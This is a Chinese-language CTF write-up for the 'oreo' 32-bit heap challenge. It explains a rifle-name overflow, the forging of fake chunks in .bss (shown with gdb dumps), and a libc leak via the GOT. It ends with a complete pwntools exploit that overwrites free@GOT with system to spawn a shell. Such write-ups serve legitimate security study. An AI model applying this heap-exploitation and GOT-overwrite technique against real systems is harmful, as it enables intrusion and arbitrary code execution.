Introduction
oreo: oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped
程序有5个主要函数:
1)添加,分配固定大小的堆内存,输入 Rifle name 时有 0x19 字节的溢出。
2)打印,输出堆内存里的值。
3)删除,在后续的添加中当前的 chunk 地址会存放在新的 chunk 的末尾四个字节处,free 当前 chunk 后继续 free 当前 chunk 的末尾四个字节指向的地址。
4)写入,在指定的地址写入上限 0x80 字节长度的值,指定的地址存放在全局指针变量中。
5)输出添加次数和删除次数两个全局变量的值,还打印全局指针变量指向地址的值。
Leak Libc
要触发漏洞需要足够的空间来伪造 chunk,而程序每个函数的可影响的栈空间大小都不足以伪造出两个相邻 chunk。在经过一番观察后发现程序的 bss 段可以用来伪造两个相邻 chunk,添加 0x41 次 rifle 使得添加次数全局变量的值为 0x41,伪造了第一个 chunk 头,再通过第4个函数写入下个 chunk 的 chunk size。
gdb-peda$ x/32xw 0x804a2a0
0x804a2a0: 0x00000000 0x00000041 0x0804a2c0 0x00000000 -> chunk1
0x804a2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2e0: 0x00000000 0x00001234 0x0000000a 0x00000000 -> chunk2
0x804a2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a300: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a310: 0x00000000 0x00000000 0x00000000 0x00000000
而利用添加函数输入 rifle name 的值可以设定 chunk 的最后四个字节为伪造的 chunk 地址。
0x9b39410: 0x00000000 0x00000041 0x00003034 0x00000000
0x9b39420: 0x00000000 0x00000000 0x00000000 0x00000000
0x9b39430: 0x00000000 0x00000000 0x00000000 0x00000000
0x9b39440: 0x00000000 0x00000000 0x00000000 0x0804a2a8 -> fake chunk address
成功将其 free 后,在调用添加函数获得 fake chunk 的控制,进而改写全局变量指针的值从而实现任意地址写。
配合程序自身函数可以将 got 表中的值打印出来
payload = p32(0x804a288)
add("\n", payload+"\n")
payload = p32(sscanf_got)
lmsg(payload + "\n")
show()
Exploit
既然可以写任意地址,那么写函数 got 表为 system 地址即可,exp 如下:
#!/usr/bin/env python
from pwn import *
import sys
context.log_level = "debug"
elf = "./oreo"
p = process(elf)
free_got = 0x804a238
puts_plt = 0x80484b0
sscanf_got = 0x804a258
free_off = 0x71470
system_off = 0x3ada0
bin_sh_off = 0x15b9ab
fgets_off = 0x5e150
def add(n, des):
p.sendline("1")
p.send(n)
p.send(des)
def show():
p.sendline("2")
def order():
p.sendline("3")
def lmsg(s):
p.sendline("4")
p.send(s)
def status():
p.sendline("5")
for i in range(0x40):
add(str(i)+"\n", str(i)+"\n")
payload = p8(0)*0x1b
payload += p32(0x804a2a8)
add(payload+"\n", "40\n")
payload = p8(0)*0x24
payload += p32(0x1234)
lmsg(payload+"\n")
order()
payload = p32(0x804a288)
add("\n", payload+"\n")
#gdb.attach(p)
payload = p32(sscanf_got)
payload += p32(0)*6
payload += p32(0x41)
payload += p32(0x804a288)
lmsg(payload+"\n")
show()
p.recvuntil("Description: ")
libc_base = u32(p.recv(4).strip().ljust(4, "\x00"))-0x5c4c0
log.info("libc_base: " + hex(libc_base))
system_addr = libc_base + system_off
bin_sh_addr = libc_base + bin_sh_off
fgets_addr = libc_base + fgets_off
payload = p32(bin_sh_addr)
payload += p32(0)*6
payload += p32(0x41)
payload += p32(free_got)
lmsg(payload+"\n")
payload = p32(system_addr)
payload += p32(fgets_addr)
lmsg(payload+"\n")
#gdb.attach(p)
order()
p.interactive()